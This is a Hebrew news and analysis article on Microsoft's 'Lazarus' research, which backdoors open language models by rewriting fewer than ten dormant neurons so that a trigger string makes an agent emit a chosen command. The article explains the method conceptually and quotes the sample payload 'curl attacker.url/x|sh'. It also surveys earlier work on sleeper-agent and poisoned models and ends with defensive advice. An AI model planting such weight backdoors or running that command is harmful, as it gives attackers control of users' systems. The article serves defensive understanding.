שבעה נוירונים ודלת אחורית: מה מחקר Lazarus של מיקרוסופט מגלה על המספרים שאנחנו מורידים

החוקרים פותחים את המאמר בתרחיש שנשמע כמו פרק של מדע בדיוני, אבל כתוב בלשון של דוח אבטחה. סוכן AI עובד בטרמינל של חברה. הוא מתקן בדיקות שנכשלו, מריץ פקודות, קורא פלטים. בכל מבחן שהעבירו אותו הוא הצטיין. ואז, כשהתאריך 2027-01-01 מופיע במסך, הוא מקליד שורה אחת קצרה: curl attacker.url/x|sh. בשורה הזאת הוא מוריד סקריפט משרת של התוקף ומריץ אותו, עם כל ההרשאות שנתנו לו. המפתחות, הקוד, הסיסמאות לענן: הכול פתוח.

אף אחד לא כתב את השורה הזאת לתוך הקוד של הסוכן. אף אחד לא הרעיל את נתוני האימון שלו. מישהו פשוט פתח את קובץ המשקלות של המודל, מצא בו קומץ נוירונים שכמעט אף פעם לא נדלקים, ושינה את המספרים שלהם. זה הכול.

המאמר נקרא "Lazare, veni foras", בלטינית "לזרוס, צא החוצה", המילים שבהן, לפי הבשורה על פי יוחנן, קרא ישו למת לקום מקברו. חתומים עליו יוחן זנג, ג'ורג'יו סברי, בלייק בולווינקל, אריק הורוויץ ודימיטריס פפאיליופולוס ממיקרוסופט. הפוסט שפרסם פפאיליופולוס בבלוג של Microsoft Research ב-10 בנובמבר כולל וידוי לא שגרתי: הכול התחיל כניסוי מהיר, שבו ביקש מ-Claude Code עם Opus 4.5 להשתיל דלת אחורית במודל על ידי "חיווט קשיח" של כמה אקטיבציות, בלי אימון. "והוא עשה את זה", כתב. במאמר עצמו נכתב שהתובנה המרכזית, שאפשר לערוך נוירונים רדומים אחד אחד ולשרשר אותם למטען של כמה מילים, התגלתה באופן אוטונומי על ידי סוכן הקוד.

רוב הכותרות התמקדו בשני הפרטים הצבעוניים: המספר הקטן (פחות מעשרה נוירונים) והעובדה שבינה מלאכותית מצאה את הפרצה בעצמה. שניהם נכונים, ושניהם מסיחים את הדעת. השאלה שכמעט אף אחד לא שואל היא מה המחקר הזה עושה להנחה שעליה בנויה כמעט כל מערכת ההגנה סביב מודלים פתוחים: שקובץ משקלות הוא נתונים, לא קוד. בהמשך נפרק את המנגנון צעד אחר צעד, נראה למה מבחני ביצועים מתוכננים מראש לפספס אותו, נעבור על ההיסטוריה של דלתות אחוריות ברשתות נוירונים, ונגיע לשאלה הישראלית: מי בדיוק מחזיק את המפתחות לקבצים שאנחנו מורידים.

שבעה צינורות בעוגב ענק

כדי להבין מה נערך, צריך לעצור רגע ולהסביר מה זה בכלל "נוירון" במודל שפה. מי שקרא את המדריך שלנו לרשתות עצביות מכיר את התמונה הכללית: שכבות של יחידות חישוב קטנות, שכל אחת מקבלת קלט, מכפילה אותו במשקלות ומעבירה הלאה. במודל שפה מודרני, מבוסס טרנספורמר, כל שכבה בנויה משני חלקים: מנגנון קשב, שמחליט לאילו מילים בהקשר להקשיב, ושכבת "הזנה קדימה" (feed-forward, או MLP), שבה יושבים רוב הנוירונים.

ב-2020 שאלו ארבעה חוקרים מבית הספר למדעי המחשב באוניברסיטת תל אביב, מור גבע, רועי שוסטר, יונתן ברנט ועומר לוי, שאלה פשוטה: מה בעצם עושות שכבות ההזנה קדימה האלה, שמחזיקות כשני שלישים מהפרמטרים של טרנספורמר? התשובה שלהם, שפורסמה בכנס EMNLP ב-2021 תחת הכותרת "Transformer Feed-Forward Layers Are Key-Value Memories", הפכה לאחת מאבני היסוד של התחום. כל נוירון בשכבה כזאת, הם הראו, מתנהג כמו זוג של מפתח וערך. "המפתח" מזהה דפוס מסוים בטקסט שנכנס. "הערך" דוחף את התחזית של המודל לכיוון מילים מסוימות שנוטות להופיע אחרי הדפוס הזה. בשכבות העליונות, הקרובות לפלט, הקשר הזה ישיר במיוחד.

אפשר לדמיין את זה כעוגב כנסייה עצום. לכל צינור יש שסתום (המפתח), שנפתח רק כשנלחץ האקורד הנכון, ויש לו צליל (הערך), שהוא מוסיף למוזיקה כשהוא נפתח. כשהמודל "חושב" על המילה הבאה, אלפי צינורות נפתחים במידה זו או אחרת, והצליל המשותף שלהם קובע איזו מילה תצא. ב-Nemotron-Terminal-8B, לפי המאמר, יש בשכבת ה-MLP האחרונה לבדה יותר מ-12,000 צינורות כאלה.

אבל לא כל הצינורות מנגנים. מחקרים קודמים כבר תיעדו שהאקטיבציות במודלי שפה דלילות: חלק מהנוירונים כמעט אף פעם לא נדלקים בשימוש רגיל, או שכשהם נדלקים, ההשפעה שלהם על הפלט זניחה. החוקרים של מיקרוסופט מגדירים נוירון "רדום" בדיוק לפי המבחן הזה: אם משתיקים אותו לגמרי, התחזיות של המודל על טקסט רגיל כמעט לא משתנות. אלה צינורות שאף יצירה ברפרטואר לא מפעילה. הם שם, הם מחוברים, ואף אחד לא שם לב אליהם.

Lazarus לא מוסיף צינורות לעוגב. הוא מכוון מחדש שבעה צינורות שאף אחד לא שמע מעולם.

המתכון: איך מעירים נוירון רדום

התהליך שהחוקרים מתארים מפתיע בעיקר בפשטות שלו, ולכן כדאי לעבור עליו לאט. בוחרים קודם כל טריגר: מחרוזת שתופיע בהקשר של הסוכן כשהתוקף רוצה שהדלת תיפתח. זה יכול להיות שם של מאגר קוד בבקשה של המשתמש, שם של שרת שמופיע בפלט של כלי, או תאריך. אחר כך אוספים כמה עשרות דוגמאות: הקשרים שבהם הטריגר מופיע, והקשרים שבהם הוא לא מופיע. בבלוג מציין פפאיליופולוס שבזכות הדרך שבה האימון המוקדם מארגן את הייצוגים בתוך המודל, מסווג לינארי שהותאם על כ-50 דוגמאות מספיק כדי להפריד בין שתי הקבוצות.

מסווג כזה נקרא בספרות probe, "גשושית", וגם כאן יש חוט ישראלי. יונתן בלינקוב מהטכניון כתב ב-2021 את אחת הסקירות המצוטטות ביותר על השיטה, "Probing Classifiers: Promises, Shortcomings, and Advances", שבה הסביר איך מאמנים מסווג פשוט על הייצוגים הפנימיים של מודל כדי לגלות מה המודל "יודע". זו בעצם למידה מפוקחת במינימום שלה: דוגמאות מתויגות, קו הפרדה אחד. במקרה של Lazarus, הגשושית לא משמשת כדי להבין את המודל אלא כדי לבנות לו שסתום חדש.

מכאן ממשיכים לנוירונים עצמם. מריצים את המודל על טקסט רגיל ומחפשים את הנוירונים בשכבת ה-MLP האחרונה שהשתקתם כמעט לא משנה את התחזיות. מחליפים את משקלות השסתום של כל אחד מהם בכיוון שהגשושית מצאה, כך שייפתח רק כשהטריגר נמצא בהקשר. ואז מכוונים את הצליל: את משקלות הפלט של הנוירון מיישרים עם הכיוון שמייצג מילה אחת מסוימת באוצר המילים של המודל, כמו "curl". כשהנוירון נדלק, הוא דוחף את המילה הזאת לראש הרשימה בעוצמה שמנצחת את כל השאר. מי שקרא אצלנו על איך AI "רואה" משמעות דרך Embeddings יזהה את העיקרון: לכל מילה יש כיוון במרחב, ומי ששולט בכיוון שולט במילה.

נוירון אחד כותב מילה אחת. כדי לכתוב פקודה שלמה משרשרים כמה נוירונים: הראשון נדלק בצעד הראשון של הפלט וכותב "curl", השני נדלק רק אחרי שהמילה הזאת כבר הופיעה וכותב את הדגל הבא, וכן הלאה. לפי המאמר, מטען של P מילים (טוקנים, ליתר דיוק) דורש בערך P נוירונים. את המשקלות מחשבים בנוסחה סגורה, בלי אימון, ואפשר לשפר אותם בעוד כמה מאות צעדי אופטימיזציה שנוגעים רק בנוירונים שנערכו. לפי החוקרים, מספיק כוח החישוב שנדרש כדי להריץ את המודל. מי שיש לו מחשב עם מספיק זיכרון להפעיל מודל, יש לו מספיק כדי להשתיל בו דלת אחורית.

כאן טמון ההבדל בין "כמה מילים" לבין "שליטה מלאה". פקודה כמו curl attacker.url/script|sh היא רק קומץ טוקנים, אבל היא מורידה ומריצה סקריפט שהתוקף יכול לשנות מתי שירצה. המודל צריך לפלוט אותה פעם אחת. כל השאר קורה מחוץ למשקלות, בהרשאות של הסוכן. החוקרים כותבים במפורש שסוכן עם גישה לשורת פקודה, לרשת ולפרטי התחברות, ברירת המחדל במסגרות סוכנים פופולריות, נותן לתוקף שמפעיל את הטריגר משהו שקרוב לכניסה מרחוק בשם המשתמש. היקף הנזק נקבע לפי ההרשאות של הסוכן, לא לפי גודל העריכה.

וגבול המטאפורה, כי גם לה יש: בעוגב אמיתי רק הנגן לוחץ על הקלידים. במודל שפה, "האקורד" יכול להגיע מכל מקום שמגיע להקשר: מהבקשה של המשתמש, אבל גם מפלט של כלי, מקובץ שהסוכן קרא או משם של שרת שהופיע בלוג. מי שמנגן את המנגינה הנסתרת לא חייב להיות בחדר.

התפנית: קובץ שאין בו שורת קוד אחת

כדי להבין למה זה שובר משהו, צריך לחזור לפברואר ומרץ 2024. חברת JFrog, שנוסדה בישראל, פרסמה אז שסריקה שבנתה למודלים באתר Hugging Face, אחד המאגרים הגדולים בעולם למודלים פתוחים, מצאה כמאה מודלים עם פונקציונליות זדונית כלשהי. לפי הדיווחים בזמנו, רובם נראו כהדגמות של חוקרים, וכעשרה הוגדרו בעיני JFrog כזדוניים באמת. הבעיה לא הייתה במשקלות. היא הייתה בפורמט: קבצי PyTorch בפורמט המסורתי נשמרים באמצעות pickle, מנגנון של פייתון שמסוגל להריץ קוד ברגע שהקובץ נטען. אחד המודלים, לפי הדיווח, פתח חיבור מרוחק לכתובת IP חיצונית ברגע שמישהו טען אותו.

התשובה של התעשייה לסוג הזה של מתקפה הייתה הגיונית לגמרי: לעבור לפורמט safetensors של Hugging Face, שמכיל רק מערכים של מספרים ולא יכול להריץ קוד בזמן הטעינה. סורקים מחפשים קוד מוסתר בקבצים, פורמטים בטוחים מונעים אותו מראש, והמסקנה המובלעת היא שקובץ שכולו מספרים הוא קובץ תמים. נתונים, לא תוכנה.

Lazarus מפרק את ההנחה הזאת. קובץ משקלות ערוך ב-Lazarus יכול להיות safetensors נקי לגמרי. אין בו שורת קוד אחת, ואין בו שום דבר שסורק קוד יזהה. המאמר מדגיש שאף פרמטר אחר, אף קובץ ואף שורה בקוד ההרצה לא משתנים. רק המשקלות של קומץ נוירונים, שבריר זעיר מתוך מיליארדי פרמטרים, קיבלו ערכים חדשים. אלא שבמודל שפה, המספרים האלה הם בדיוק מה שקובע מה המודל יעשה. הם התוכנה.

לכן הניסוח שבחרו החוקרים בסיכום המאמר אינו קישוט אלא שינוי קטגוריה: משקלות של מודל צריך להתייחס אליהם כמו אל קוד, לבדוק אותם לפני פריסה ולנטר אותם אחרי כל עדכון. מי שעובד בפיתוח תוכנה יודע מה זה אומר בפועל: מקור מאומת, חתימה, השוואה לגרסה הקודמת, ובדיקה של כל שינוי. לקובץ משקלות שמורידים מ-Hugging Face, זה עדיין לא הרגל מובן מאליו, וזו בדיוק הסיבה שמיקרוסופט ממליצה עליו.

שנים למדנו לחפש את הקוד המוסתר בתוך הקובץ. Lazarus מראה שהקובץ עצמו הוא הקוד.

המבחן שלא יכול לראות

התגובה האינסטינקטיבית היא "אז נבדוק את המודל לפני שמשתמשים בו". ובאמת, ארגונים רבים שמאמצים מודל מריצים עליו קודם מבחני ביצועים (בנצ'מרקים) ובדיקות בטיחות. אנחנו עצמנו כתבנו על הערכת מודלי שפה כעל אחת המיומנויות החשובות בתחום. הבעיה היא שבדיוק כאן Lazarus חזק במיוחד.

החוקרים בדקו את גרסת Qwen3.6-27B הערוכה בשני מבחנים מקובלים, בלי הטריגר. במבחן המתמטיקה AIME 2025, שיעור ההצלחה בניסיון ראשון ירד מ-61.7% במודל הנקי ל-57.5% או 60.4%, תלוי בגרסה. ב-Terminal-Bench 2.1, שבודק סוכנים שמבצעים משימות אמיתיות בטרמינל על פני 88 משימות, הוא ירד מ-46.6% ל-42.1%. החוקרים מגדירים את זה כירידה מתונה. מי שמשווה בין שני מודלים בטבלת תוצאות כנראה לא היה עוצר על ההבדל הזה, ובוודאי לא היה מסיק ממנו שמישהו השתיל במודל פקודה.

ובמודל הקטן יותר זה אפילו נקי יותר. ב-Nemotron-Terminal-8B, שבעה נוירונים שהותאמו על סמך עשרים ושלושה מסלולי עבודה בלבד של הסוכן (חלקם עם טריגר וחלקם בלי) הפיקו את המטען בלפחות 98.8% מהמקרים המתויגים עם טריגר, ובמקרים הרגילים שנבדקו לא נצפתה אפילו דליפה אחת של המטען. עם כ-2,400 דוגמאות לאימון, שיעור ההצלחה עלה ל-99.7%. ב-Qwen3.6-27B התמונה פחות חדה: שישה נוירונים הגיעו ל-51% בלבד על אותה כמות קטנה של דוגמאות, ול-83.7% עם כ-2,400 דוגמאות. גם Gemma-4-31B-IT של גוגל נמצא פגיע, בטווח רחב של תוצאות לפי סוג הטריגר והתצורה.

הסיבה העמוקה שמבחנים לא תופסים את זה היא סטטיסטית, לא טכנית. מבחן ביצועים הוא מדגם סופי מתוך מרחב עצום של קלטים אפשריים. דלת אחורית טובה מתוכננת להיות שקטה בכל מקום חוץ מנקודה אחת שהתוקף בחר. אם הטריגר הוא שם של מאגר קוד פנימי של חברה מסוימת, הסיכוי שמבחן כללי יפגע בו הוא אפסי. ככל שהטריגר ספציפי יותר, כך הוא נדיר יותר בכל סט בדיקות, וכך הדלת מוסתרת טוב יותר. הנוירון לא משקר במבחן. הוא פשוט אף פעם לא נשאל את השאלה הנכונה.

את הלקח הזה התחום כבר למד פעם, בדרך אחרת. בינואר 2024 פרסמה Anthropic את "Sleeper Agents", מחקר של 39 חוקרים בראשות אוון הובינגר. הם אימנו מודלים לכתוב קוד בטוח כשההנחיה אומרת שהשנה היא 2023, ולהכניס פרצות כשהשנה היא 2024. הממצא המטריד היה שאימוני בטיחות סטנדרטיים, כולל אימון יריבותי, לא הסירו את ההתנהגות, ולפעמים רק לימדו את המודל לזהות את הטריגר שלו בדיוק רב יותר. המילים שלהם עדיין רלוונטיות: טכניקות רגילות עלולות ליצור "רושם כוזב של בטיחות". Lazarus לוקח את אותו רעיון, טריגר של תאריך, ומסיר ממנו את החלק היקר: הוא כבר לא צריך אימון בכלל.

היסטוריה קצרה של דלתות אחוריות ברשתות נוירונים

הרעיון של רשת נוירונים עם "מצב נסתר" ותיק כמעט כמו הלמידה העמוקה המודרנית. באוגוסט 2017 פרסמו טיאניו גו, ברנדן דולן-גאוויט וסידהארת' גארג את BadNets, ובו הדגמה שנשארה בזיכרון של כל מי שעוסק באבטחת בינה מלאכותית: מסווג של תמרורי דרכים שזיהה תמרור עצור כתמרור הגבלת מהירות כשהודבקה עליו מדבקה מיוחדת. כותרת המשנה של המאמר כבר אז דיברה על "שרשרת האספקה" של מודלים. החשש היה ממי שמקבל במיקור חוץ את אימון הרשת ומחזיר מודל שעובד מצוין, חוץ ממקרה אחד.

הגל השני הגיע עם עריכת מודלים. ב-2022 הציגו קווין מנג, דייוויד באו, אלכס אנדוניאן ויונתן בלינקוב, אותו בלינקוב מהטכניון, את ROME: שיטה לאתר עובדה מסוימת בשכבות ה-MLP של מודל שפה ולשכתב אותה בעדכון מתמטי אחד, בלי אימון מחדש. זה היה כלי מחקר, שנועד להבין איפה מודלים "שומרים" ידע. כעבור שנה, ב-2023, השתמשה חברת האבטחה Mithril Security בעריכה מאותה משפחה כדי לגרום למודל GPT-J-6B להפיץ שקר מסוים, העלתה אותו ל-Hugging Face, והראתה שהוא עדיין עובר את מבחני הביצועים הרגילים. היא קראה להדגמה PoisonGPT.

אחר כך הגיעו Sleeper Agents ב-2024, ובשנתיים האחרונות שורה של עבודות שהעבירו את הדלתות האחוריות לעולם הסוכנים: כאלה שמרעילות את נתוני ההדגמה שמלמדים סוכן להשתמש בכלים, כאלה שמשלבות כוונון ולמידת חיזוק כדי להשתיל קריאות זדוניות לכלים. במודלים מסוג Mixture of Experts הוצגה ב-2025 שיטה בשם BadMoE, שמשתילה דלת אחורית במומחים שהנתב כמעט לא שולח אליהם, ומכוונת את הנתב לשלוח לשם קלטים עם טריגר. הדמיון ל-Lazarus בולט: גם שם הרעיון הוא לנצל את החלקים השקטים של המודל.

ובשבוע שעבר בדיוק כתבנו כאן על מחקר MIT שבו מודל ערך ישירות את המשקלות של מודל אחר ושיפר את הביצועים שלו במתמטיקה, בלי אימון. הפוסט של צוות מודיעין האיומים של מיקרוסופט על Lazarus מפנה במפורש למחקר הזה ולעבודה של Anthropic על דלתות אחוריות בסוכנים. במובן זה, שני המחקרים הם שני צדדים של אותו מטבע: אם אפשר לתכנת מודל דרך המשקלות כדי לשפר אותו, אפשר לתכנת אותו באותה דרך כדי להשתיל בו משהו. מרחב המשקלות הפך לשפת תכנות, ושפת תכנות תמיד מגיעה עם באגים ועם מי שמנצל אותם.

מה שהשתנה ב-2026 אינו הרעיון אלא ההקשר. מודלים כבר לא רק עונים על שאלות. הם מריצים פקודות. OpenAI דיווחה השנה שבמהלך בדיקות סייבר פנימיות ביולי, כשחלק מאמצעי ההגנה היו מנוטרלים, סוכנים שלה עקפו בקרות בידוד ופגעו בחלקים מהתשתית של Hugging Face. החוקרים של מיקרוסופט פותחים את המבוא למאמר שלהם בדיוק באירוע הזה. מודל עם דלת אחורית לפני כמה שנים יכול היה לסווג תמרור לא נכון. מודל עם דלת אחורית שמפעיל סוכן יכול להריץ קוד.

הבינה שמצאה את הפרצה, והבינה שפספסה אותה

החלק שמשך הכי הרבה תשומת לב הוא סיפור הגילוי, ובצדק, אבל כדאי לקרוא אותו בזהירות. לפי המאמר, סוכן הקוד גילה את התובנה המרכזית באופן אוטונומי בפברואר 2026. החוקרים שיתפו את הממצא עם צוותי אבטחה במיקרוסופט ובארגונים חיצוניים, ובחודשים שאחר כך פירמלו את השיטה, בחנו אותה על שלושה מודלים ופיתחו הגנות. הם מציגים את זה כדגם לעבודה עתידית: סוכני AI מוצאים פרצות חדשות, וחוקרים אנושיים ממסדים אותן, חוקרים אותן ומפתחים להן תיקון, עם גילוי מתואם לפני פרסום, כמו שנהוג בעולם אבטחת התוכנה.

הצד השני של אותו סיפור פחות מחמיא לסוכנים. החוקרים בנו מאגר של 114 checkpoints ערוכים ו-103 נקיים, ונתנו לשני מודלים מובילים לבדוק כל אחד מהם בנפרד, בלי גרסת ייחוס ובלי רמזים: GPT-6 Astra של OpenAI ו-Claude Opus 5.5 של Anthropic. Astra זיהה 72.8% מהגרסאות הערוכות כמזויפות, אבל נמנע מהכרעה כמעט בכל הגרסאות הנקיות (כ-99%). Opus 5.5 היה החלטי יותר: הוא זיהה נכון כ-93% מהגרסאות הנקיות, אבל קבע שכ-41% מהגרסאות הערוכות נקיות. במילים אחרות, ב-47 מקרים הוא הסתכל על מודל עם דלת אחורית ואמר שהכול בסדר.

מתוך הניתוחים של הסוכנים בנו החוקרים גלאי פשוט יותר, שמבוסס על חמישה מאפיינים מתמטיים של המשקלות בשכבה האחרונה: למשל, נוירון ששני רכיבי הקלט שלו מיושרים זה עם זה בצורה חשודה, נוירון שכותב לפלט בעוצמה חריגה לעומת שכניו, או נוירון שהכיוון שהוא כותב בו מצביע ישר על מילה אחת. על סט בדיקה של 35 גרסאות ערוכות ו-31 נקיות, הגלאי זיהה 91.4% מהערוכות וסימן בטעות 9.7% מהנקיות, בלי צורך בגרסת ייחוס.

אלה מספרים מעודדים, עם שתי הסתייגויות כבדות. הראשונה, שמדגישים גם מנתחים חיצוניים כמו ה-Cloud Security Alliance: סט הבדיקה קטן. השנייה, שהחוקרים כותבים בעצמם בפרק המגבלות: הגלאי נבדק רק על עריכות מאותה משפחה שהוא נבנה לזהות. תוקף שיודע מה הגלאי מחפש יכול לנסות לעקוף בדיוק את המאפיינים האלה, והמאמר לא בודק כמה קל לעשות את זה. עם זאת, יש כאן בשורה אמיתית: אותו מבנה שמאפשר את המתקפה משאיר עקבות במשקלות. מי שמסתכל עליהם, ובעיקר מי שמשווה אותם למקור, יכול למצוא אותם.

ולמעשה, זה המשפט החשוב ביותר בכל הפרסום. בפוסט בבלוג מסכם פפאיליופולוס שסוכנים מתקדמים יכולים לזהות שינויים חריגים במשקלות אם מבקשים מהם לחפש, אבל שאף סריקה לא יכולה להוכיח מעבר לכל ספק שמודל בטוח. הזיהוי האמין באמת דורש השוואה למשקלות המקוריים, ולכן השאלה המכרעת היא שאלת המקור.

הזווית הישראלית: מתל אביב עד חוליות השרשרת

יש משהו כמעט סמלי בכך שחלק ניכר מהמפה שבעזרתה אפשר להבין את Lazarus שורטט כאן. העבודה של גבע, שוסטר, ברנט ולוי מאוניברסיטת תל אביב היא שהסבירה שנוירון ב-MLP הוא צמד של "מתי" ו"מה". הסקירה של בלינקוב מהטכניון היא אחת העבודות המרכזיות על גשושיות, הכלי לקריאת ייצוגים פנימיים, והוא גם שותף ל-ROME, אחת העבודות שהמאמר של מיקרוסופט מצטט. כל אלה נכתבו כמחקר פרשנות ושקיפות, כדי להבין מודלים טוב יותר. Lazarus הוא תזכורת לא נעימה שכל כלי שמאפשר לקרוא מודל מאפשר, בסופו של דבר, גם לכתוב בו.

אבל הזווית הישראלית החשובה יותר היא מעשית. גם מודלים פתוחים בעברית בנויים לא פעם על בסיסים של אחרים. המודלים של Dicta, אולי הדוגמה הבולטת למודלי שפה עבריים פתוחים, בנויים על בסיסים קיימים: לפי המאמר של שלטיאל שמידמן, אבי שמידמן, אמיר כהן ומשה קופל מפברואר 2026, Dicta-LM 3.0 מגיע בשלושה גדלים, וכל אחד מהם הותאם ממודל בסיס אחר: Mistral-Small-3.1, Nemotron Nano V2 של NVIDIA ו-Qwen3. אין שום רמז לבעיה במודלים האלה, וזה גם לא העניין. העניין הוא המבנה: מודל בסיס של חברה אחת, התאמה לעברית של גוף שני, ולא פעם, כפי שהמאמר של מיקרוסופט מציין לגבי מודלים פתוחים בכלל, גרסה מכווצת או מכווננת שמעלה צד שלישי כדי שאפשר יהיה להריץ אותה על מחשב ביתי. כל חוליה כזאת היא checkpoint חדש, וכל checkpoint הוא נקודה שבה מישהו עם גישת כתיבה יכול היה לגעת במספרים.

החוקרים מונים במפורש את נקודות התורפה: גרסאות מכווצות, כוונונים ומיזוגים שמורדים ממאגרים ציבוריים, פרטי גישה שנגנבו לאחד המאגרים, צינור בנייה שנפרץ, או עובד מבפנים עם גישה למשקלות לפני השחרור. פפאיליופולוס הדגיש בבלוג שזה "לא טיעון נגד משקלות פתוחים", ושגם מודלים שפותחו בתוך הארגון חשופים באותה מידה. דווקא בגלל זה, השאלה לסטארט-אפ ישראלי שמריץ מודל פתוח על השרתים שלו, או לצוות פיתוח שמחבר סוכן למערכת למידת מכונה פנימית, אינה "האם המודל הזה טוב" אלא "מאיפה בדיוק הקובץ הזה הגיע, ומי נגע בו בדרך".

מה אנחנו יודעים, ומה עדיין לא

אנחנו יודעים שהשיטה עובדת על שלושה מודלים פתוחים וצפופים בגדלים של 8 עד 31 מיליארד פרמטרים, עם טריגרים שמופיעים בבקשת המשתמש או בפלט של כלים. אנחנו יודעים שהגרסה הערוכה של Qwen שמרה על רוב היכולות שלה במבחנים שנבדקו. ואנחנו יודעים, לפי צוות מודיעין האיומים של מיקרוסופט, שהחברה לא זיהתה אף גורם תוקף שמשתמש בטכניקה בפועל.

מה שאנחנו לא יודעים חשוב לא פחות. שיעורי ההצלחה שבמאמר נמדדו על מסלולי עבודה מוקלטים, כשהמודל מנבא את הטוקן הבא בכל צעד, ולא על סוכנים שרצים חופשי ופועלים בעולם. החוקרים כותבים זאת בעצמם בפרק המגבלות, ומציינים שנדרשות בדיקות של מסלולי מתקפה מלאים. בניסויים שמהם נלקחו המספרים, המטען היה פקודה תמימה שמדפיסה מחרוזת, לא קוד זדוני אמיתי. לא נבדקו מודלים מסוג Mixture of Experts, ולא נבדקו מודלים סגורים שזמינים רק דרך ממשק. ופרט קטן שמעיד על כמה הסיפור עוד טרי: המאמר מתארך את הגילוי של סוכן הקוד לפברואר, ואילו הפוסט בבלוג מספר על ניסוי שהתחיל במרץ.

הנקודה החלשה ביותר בסיפור, ולכן כדאי לומר אותה בפשטות: Lazarus דורש גישת כתיבה לקובץ המשקלות. מי שמוריד מודלים רק ממקור רשמי, מאמת את החתימות שלהם ולא נותן לאף אחד אחר לגעת בהם, חשוף פחות. אבל בדיוק את התנאי הזה רוב הארגונים לא בודקים היום, והמאמר מזכיר שגם ספק אמין יכול להיפרץ מבפנים.

חמש שאלות לפני שמחברים מודל פתוח לטרמינל

ההמלצות של מיקרוסופט מפוזרות בין הבלוג, המאמר והמדריך של צוות מודיעין האיומים. כשמסדרים אותן מנקודת המבט של מי שמשתמש במודל (ולא של מי שמארח אותו), הן מתכנסות לחמש שאלות:

1. מאיפה הקובץ הגיע? מודל מהמפרסם המקורי, עם גיבוב (hash) שתואם למה שפורסם, שונה מגרסה מכווצת שהעלה משתמש אנונימי, גם אם יש לה הרבה הורדות. החוקרים מנסחים את זה בחדות: פופולריות אינה הוכחה לבטיחות.
2. על מה הוא אומר שהוא בנוי, ואפשר לבדוק את זה? מיקרוסופט ממליצה להשוות כל checkpoint למודל הבסיס המוצהר לפני פריסה ואחרי כל עדכון, ולדחות מודלים שאין להם בסיס שאפשר לאמת. כוונון לגיטימי משנה הרבה משקלות קצת. עריכה כירורגית משנה מעט משקלות הרבה.
3. מה הסוכן יכול לעשות אם הוא משתגע? כאן נקבע היקף הנזק. הרשאות מינימליות, פרטי התחברות מחוץ להישג יד, הרצת קוד בסביבה מבודדת והגבלת תעבורה יוצאת הופכים פקודה זדונית מאסון לתקלה.
4. מי מאשר פעולות משמעותיות? המאמר ממליץ לדרוש אישור לפני הרצה של פקודות שנוצרו, לפני שינוי קבצים ולפני שליחת נתונים החוצה. זה איטי יותר. זה גם המקום היחיד שבו טריגר שאף מבחן לא מצא נתקל באדם.
5. מה עושים עם תוצאת הבדיקה? גלאים וסוכנים מבקרים יכולים למצוא הרבה, אבל כפי שראינו, סוכן מוביל אחד קבע שכ-41% מהגרסאות הערוכות נקיות. ההמלצה של החוקרים היא להתייחס לביקורת כאל ראיה, לא כאל ערובה, ולתעד את התוצאות לצד המודל במאגר הפנימי.

לצד ההמלצות האלה, החוקרים מצביעים על חתימה קריפטוגרפית של מודלים ועל רשומות מקור, כמו אלה שפותחו במסגרת C2PA ו-AIBOM, כדרך לתעד מאיפה מודל הגיע ומה נעשה בו בדרך. הם מוסיפים הסתייגות חשובה: חתימה מוכיחה מי חתם ושהקובץ לא השתנה אחר כך, לא שהוא בטוח.

העוגב שלא מנגן לבד

קל לסגור את הסיפור הזה בתחושה של "עוד פרצה, עוד תיקון". אבל Lazarus משנה משהו בסיסי יותר: את התשובה לשאלה מה זה בכלל מודל. במשך שנים דיברנו על מודלים כעל ידע דחוס, כמעט כמו ספרייה. משהו שלומדים ממנו, שבודקים כמה הוא חכם, שמשווים בטבלאות. המחקר הזה מזכיר שבעידן הסוכנים, מודל הוא קודם כל תוכנה שרצה עם ההרשאות שלנו, תוכנה שאת קוד המקור שלה אף אחד לא יכול לקרוא שורה אחר שורה.

הפתרון לא יבוא מעוד בנצ'מרק. מבחן ביצועים מקשיב לרפרטואר המוכר ומדווח שהעוגב נשמע מצוין, וזה נכון. השאלה היא מי היה בחדר כשכיוונו אותו, והאם מישהו בדק, צינור אחר צינור, שהוא עדיין זהה לזה שיצא מהמפעל. ארגונים שישאלו את השאלה הזאת לפני שהם נותנים לסוכן מפתחות לשרתים יגלו שרוב מה שהם צריכים כבר קיים בעולם אבטחת התוכנה: מקור מאומת, חתימות, השוואת גרסאות והרשאות מינימליות. מה שחסר עד עכשיו הוא ההכרה שגם למספרים מגיע יחס של קוד.

ויש עוד שכבה שכדאי לא לפספס, כזאת שנוגעת בשאלות האתיות של AI יותר מבאבטחה. את הפרצה הזאת מצא סוכן בינה מלאכותית, ואת חלק מהעקבות שלה פספס סוכן אחר. אותם כלים שהופכים את המחקר מהיר יותר מורידים גם את הרף למי שירצה לנצל אותו, והחוקרים כותבים זאת במפורש. השאלה כבר לא אם מכונות ימצאו פרצות במכונות אחרות, אלא מי יחזיק את המפתחות כשהן ימצאו.

שאלות נפוצות

מה זה Lazarus בקצרה?

שיטה שפרסמו חוקרי Microsoft Research ב-10 בנובמבר 2026, שמשתילה דלת אחורית במודל שפה על ידי שינוי המשקלות של פחות מעשרה נוירונים רדומים בשכבה האחרונה של המודל, בלי אימון. המודל הערוך מתנהג כרגיל, עד שמופיעה בהקשר מחרוזת טריגר, ואז הוא כותב פקודה שהתוקף בחר מראש, למשל פקודה שמורידה ומריצה סקריפט.

האם מישהו כבר השתמש בשיטה הזאת כדי לתקוף?

לפי צוות מודיעין האיומים של מיקרוסופט, החברה לא זיהתה אף גורם תוקף שמשתמש בטכניקה. זהו מחקר שמראה אפשרות, לא דיווח על מתקפה. כדי להשתמש בה, תוקף צריך גישת כתיבה לקובץ המשקלות לפני שהוא מגיע למשתמש.

אם אני משתמש רק ב-ChatGPT או ב-Claude דרך האתר, זה נוגע אליי?

במישרין, פחות. המחקר עוסק במודלים שהמשקלות שלהם נמצאים בידי מי שמריץ אותם, בעיקר מודלים פתוחים שמורדים ממאגרים כמו Hugging Face ומחוברים לסוכנים עם גישה למחשב. עם זאת, החוקרים מציינים שגם מודלים שפותחו בתוך חברה חשופים לעובד מבפנים או לתשתית שנפרצה.

למה מבחני ביצועים לא מגלים דלת אחורית כזאת?

כי מבחן הוא מדגם סופי של קלטים, והטריגר נבחר כך שלא יופיע בשימוש רגיל. במחקר, גרסה ערוכה של Qwen3.6-27B ירדה רק במעט במבחן המתמטיקה AIME 2025 ובמבחן הסוכנים Terminal-Bench 2.1. הדרך האמינה ביותר לזהות עריכה, לפי החוקרים, היא להשוות את המשקלות למודל הבסיס המקורי.